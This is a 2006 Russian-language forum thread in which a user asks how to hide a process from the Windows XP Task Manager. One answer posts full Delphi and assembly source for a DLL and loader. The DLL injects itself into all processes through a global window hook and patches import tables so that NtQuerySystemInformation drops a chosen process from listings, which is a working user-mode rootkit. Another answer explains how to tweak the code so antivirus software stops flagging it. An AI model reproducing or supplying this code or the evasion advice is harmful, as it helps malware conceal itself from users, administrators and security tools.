|
Вопрос # 61/ вопрос открыт / |
|
Как в XP скрыть процесс из диспетчера задач
Заранее спасибо
 |
Вопрос задал: Ташбулатов Камиль РУст (статус: Посетитель)
Вопрос отправлен: 26 июня 2006, 09:46
Состояние вопроса: открыт, ответов: 4.
|
Ответ #1. Отвечает эксперт: Вадим К
Скажем так, решать на делфи подобные задачи - изврат. Наиболее лучше это делать на ассемблере. Почему? Вам прийдётся оперировать системными таблицами операционной системы. Но самое главное, это будет драйвер. Если не драйвер, то сделать это можно будет токо с правами админа, да и то, через одно место.
А почему Вам скрывать свой процесс? Здесь два варианта:
-Это вирус или программа шутка (убивать таких!)
-Прога для интернет клуба, что бы не могли закрыть(нада, и не такое закроют!).
А теперь раскажу как программируется эта вещь (токо идея!).
Когда диспетчер хочет отобразить список процессов, он берёт в памяти начало списка процессов (это будет первый процесс). Выводит эго данный. В одной с характеристик будет записан адрес описания следующего процесса.
Идея заключается в том, что бы подменить этот адрес или перехватить функцию, которая это делает и подменить её своей, которая будет сверять имя процесса и при надобности пропускать.
Почитать об этом всём можно здесь www.wasm.ru
Но есть ещё один метод. Написать программу, которая будет похожа на диспетчер задач, но не будет отображать определённые процессы. Вот это уже интересная задача.
 |
Ответ отправил: Вадим К (статус: Академик)
Время отправки: 26 июня 2006, 11:30
|
Ответ #2. Отвечает эксперт: Alexander A. Gribanov
Ну вопрос немного не по Delphi... Тебе может помочь, например, книга Джеффри Рихтера "Windows для профессионалов". По googl'у можно найти електронный вариант.
Ответ #3. Отвечает эксперт: bruder
Здравствуйте, Ташбулатов Камиль РУст.
Способ 1: Грохнуть диспетчер :)
Способ 2: Ring0.......
В приложении исходник dll и самой программы.
Приложение: Переключить в обычный режим- library Hide;
-
- uses
- Windows,
- TlHelp32;
-
- type
-
- SYSTEM_INFORMATION_CLASS = (
- SystemBasicInformation,
- SystemProcessorInformation,
- SystemPerformanceInformation,
- SystemTimeOfDayInformation,
- SystemNotImplemented1,
- SystemProcessesAndThreadsInformation,
- SystemCallCounts,
- SystemConfigurationInformation,
- SystemProcessorTimes,
- SystemGlobalFlag,
- SystemNotImplemented2,
- SystemModuleInformation,
- SystemLockInformation,
- SystemNotImplemented3,
- SystemNotImplemented4,
- SystemNotImplemented5,
- SystemHandleInformation,
- SystemObjectInformation,
- SystemPagefileInformation,
- SystemInstructionEmulationCounts,
- SystemInvalidInfoClass1,
- SystemCacheInformation,
- SystemPoolTagInformation,
- SystemProcessorStatistics,
- SystemDpcInformation,
- SystemNotImplemented6,
- SystemLoadImage,
- SystemUnloadImage,
- SystemTimeAdjustment,
- SystemNotImplemented7,
- SystemNotImplemented8,
- SystemNotImplemented9,
- SystemCrashDumpInformation,
- SystemExceptionInformation,
- SystemCrashDumpStateInformation,
- SystemKernelDebuggerInformation,
- SystemContextSwitchInformation,
- SystemRegistryQuotaInformation,
- SystemLoadAndCallImage,
- SystemPrioritySeparation,
- SystemNotImplemented10,
- SystemNotImplemented11,
- SystemInvalidInfoClass2,
- SystemInvalidInfoClass3,
- SystemTimeZoneInformation,
- SystemLookasideInformation,
- SystemSetTimeSlipEvent,
- SystemCreateSession,
- SystemDeleteSession,
- SystemInvalidInfoClass4,
- SystemRangeStartInformation,
- SystemVerifierInformation,
- SystemAddVerifier,
- SystemSessionProcessesInformation
- );
-
- _IMAGE_IMPORT_DESCRIPTOR = packed record
- case Integer of 0: (
- Characteristics: DWORD);
- 1: (
- OriginalFirstThunk: DWORD;
- TimeDateStamp: DWORD;
- ForwarderChain: DWORD;
- Name: DWORD;
- FirstThunk: DWORD);
- end;
- IMAGE_IMPORT_DESCRIPTOR = _IMAGE_IMPORT_DESCRIPTOR;
- PIMAGE_IMPORT_DESCRIPTOR = ^IMAGE_IMPORT_DESCRIPTOR;
-
- PFARPROC = ^FARPROC;
-
- const
- ImagehlpLib = 'IMAGEHLP.DLL';
-
- function ImageDirectoryEntryToData(Base: Pointer; MappedAsImage: ByteBool;
- DirectoryEntry: Word; var Size: ULONG): Pointer; stdcall; external ImagehlpLib
- name 'ImageDirectoryEntryToData';
-
- function AllocMem(Size: Cardinal): Pointer;
- begin
- GetMem(Result, Size);
- FillChar(Result^, Size, 0);
- end;
-
- procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar; pfnCurrent: FarProc;
- pfnNew: FARPROC; hmodCaller: hModule);
- var
- ulSize: ULONG;
- pImportDesc: PIMAGE_IMPORT_DESCRIPTOR;
- pszModName: PChar;
- pThunk: PDWORD;
- ppfn: PFARPROC;
- ffound: LongBool;
- written: DWORD;
- begin
- pImportDesc := ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,
- IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize);
- if pImportDesc = nil then
- exit;
- while pImportDesc.Name <> 0 do
- begin
- pszModName := PChar(hmodCaller + pImportDesc.Name);
- if (lstrcmpiA(pszModName, pszCallerModName) = 0) then
- break;
- Inc(pImportDesc);
- end;
- if (pImportDesc.Name = 0) then
- exit;
- pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk);
- while pThunk^ <> 0 do
- begin
- ppfn := PFARPROC(pThunk);
- fFound := (ppfn^ = pfnCurrent);
- if (fFound) then
- begin
- VirtualProtectEx(GetCurrentProcess, ppfn, 4, PAGE_EXECUTE_READWRITE,
- written);
- WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew),
- Written);
- exit;
- end;
- Inc(pThunk);
- end;
- end;
-
- var
- addr_NtQuerySystemInformation: Pointer;
- mypid: DWORD;
- fname: PCHAR;
- mapaddr: PDWORD;
- hideOnlyTaskMan: PBOOL;
-
- { By Wasm.ru}
-
- function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS;
- SystemInformation: Pointer;
- SystemInformationLength: ULONG; ReturnLength: PULONG): LongInt; stdcall;
- label
- onceagain, getnextpidstruct, quit, fillzero;
- asm
- push ReturnLength
- push SystemInformationLength
- push SystemInformation
- push dword ptr SystemInformationClass
- call dword ptr [addr_NtQuerySystemInformation]
- or eax,eax
- jl quit
- cmp SystemInformationClass,SystemProcessesAndThreadsInformation
- jne quit
- onceagain:
- mov esi,SystemInformation
- getnextpidstruct:
- mov ebx,esi
- cmp dword ptr [esi],0
- je quit
- add esi,[esi]
- mov ecx,[esi+44h]
- cmp ecx,mypid
- jne getnextpidstruct
- mov edx,[esi]
- test edx,edx
- je fillzero
- add [ebx],edx
- jmp onceagain
- fillzero:
- and [ebx],edx
- jmp onceagain
- quit:
- mov Result,eax
- end;
-
- procedure InterceptFunctions;
- var
- hSnapShot: THandle;
- me32: MODULEENTRY32;
- begin
- addr_NtQuerySystemInformation := GetProcAddress(getModuleHandle('ntdll.dll'),
- 'NtQuerySystemInformation');
- hSnapShot := CreateToolHelp32SnapShot(TH32CS_SNAPMODULE, GetCurrentProcessId);
- if hSnapshot = INVALID_HANDLE_VALUE then
- exit;
- try
- ZeroMemory(@me32, sizeof(MODULEENTRY32));
- me32.dwSize := sizeof(MODULEENTRY32);
- Module32First(hSnapShot, me32);
- repeat
- ReplaceIATEntryInOneMod('ntdll.dll', addr_NtQuerySystemInformation,
- @MyNtQuerySystemInfo, me32.hModule);
- until not Module32Next(hSnapShot, me32);
- finally
- CloseHandle(hSnapShot);
- end;
- end;
-
- procedure UninterceptFunctions;
- var
- hSnapShot: THandle;
- me32: MODULEENTRY32;
- begin
- addr_NtQuerySystemInformation := GetProcAddress(getModuleHandle('ntdll.dll'),
- 'NtQuerySystemInformation');
- hSnapShot := CreateToolHelp32SnapShot(TH32CS_SNAPMODULE, GetCurrentProcessId);
- if hSnapshot = INVALID_HANDLE_VALUE then
- exit;
- try
- ZeroMemory(@me32, sizeof(MODULEENTRY32));
- me32.dwSize := sizeof(MODULEENTRY32);
- Module32First(hSnapShot, me32);
- repeat
- ReplaceIATEntryInOneMod('ntdll.dll', @MyNtQuerySystemInfo,
- addr_NtQuerySystemInformation, me32.hModule);
- until not Module32Next(hSnapShot, me32);
- finally
- CloseHandle(hSnapShot);
- end;
- end;
-
- var
- HookHandle: THandle;
-
- function CbtProc(code: integer; wparam: integer; lparam: integer): Integer;
- stdcall;
- begin
- Result := 0;
- end;
-
- procedure InstallHook; stdcall;
- begin
- HookHandle := SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0);
- end;
-
- var
- hFirstMapHandle: THandle;
-
- function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall;
- var
- addrMap: PDWORD;
- ptr2: PBOOL;
- begin
- mypid := 0;
- result := false;
- hFirstMapHandle := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, 8,
- 'NtHideFileMapping');
- if hFirstMapHandle = 0 then
- exit;
- addrMap := MapViewOfFile(hFirstMapHandle, FILE_MAP_WRITE, 0, 0, 8);
- if addrMap = nil then
- begin
- CloseHandle(hFirstMapHandle);
- exit;
- end;
- addrMap^ := pid;
- ptr2 := PBOOL(DWORD(addrMap) + 4);
- ptr2^ := HideOnlyFromTaskManager;
- UnmapViewOfFile(addrMap);
- InstallHook;
- result := true;
- end;
-
- exports
- HideProcess;
-
- var
- hmap: THandle;
-
- procedure LibraryProc(Reason: Integer);
- begin
- if Reason = DLL_PROCESS_DETACH then
- if mypid > 0 then
- UninterceptFunctions()
- else
- CloseHandle(hFirstMapHandle);
- end;
-
- begin
- hmap := OpenFileMapping(FILE_MAP_READ, false, 'NtHideFileMapping');
- if hmap = 0 then
- exit;
- try
- mapaddr := MapViewOfFile(hmap, FILE_MAP_READ, 0, 0, 0);
- if mapaddr = nil then
- exit;
- mypid := mapaddr^;
- hideOnlyTaskMan := PBOOL(DWORD(mapaddr) + 4);
- if hideOnlyTaskMan^ then
- begin
- fname := allocMem(MAX_PATH + 1);
- GetModuleFileName(GetModuleHandle(nil), fname, MAX_PATH + 1);
- // if not (ExtractFileName(fname)='taskmgr.exe') then exit;
- end;
- InterceptFunctions;
- finally
- UnmapViewOfFile(mapaddr);
- CloseHandle(Hmap);
- DLLProc := @LibraryProc;
- end;
- end.
-
-
-
-
-
- program HideProj;
-
- uses
- windows, messages;
-
- function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall;
- external 'hide.dll';
-
- function ProcessMessage(var Msg: TMsg): Boolean;
- var
- Handled: Boolean;
- begin
- Result := False;
- begin
- Result := True;
- if Msg.Message <> WM_QUIT then
- begin
- Handled := False;
- begin
- TranslateMessage(Msg);
- DispatchMessage(Msg);
- end;
- end
- end;
- end;
-
- procedure ProcessMessages;
- var
- Msg: TMsg;
- begin
- while ProcessMessage(Msg) do {loop}
- ;
- end;
-
- begin
- HideProcess(GetCurrentProcessId, false);
- while true do
- begin
- ProcessMessages;
- end;
- end.
-
 |
Ответ отправил: bruder (статус: 4-ый класс)
Время отправки: 26 июня 2006, 13:23
|
Ответ #4. Отвечает эксперт: Матвеев Игорь Владимирович
Это можно сделать с помощью dll библиотеки, смотрите готовый пример в прикреплённом файле. Но некоторые антивири считают asm код в этой dll вирусом, поэтому иногда нужно подправить его - вставить лишние nop'ы, поменять mov на push/pop и т.д.
А вообще, заглядывайте на http://www.wasm.ru и больше не задавайте таких вопросов. К ответу прикреплён файл. Загрузить » (срок хранения: 60 дней с момента отправки ответа)
Мини-форум вопроса
Мини-форум пуст.
Чтобы оставлять сообщения в мини-форумах, Вы должны авторизироваться на сайте.
|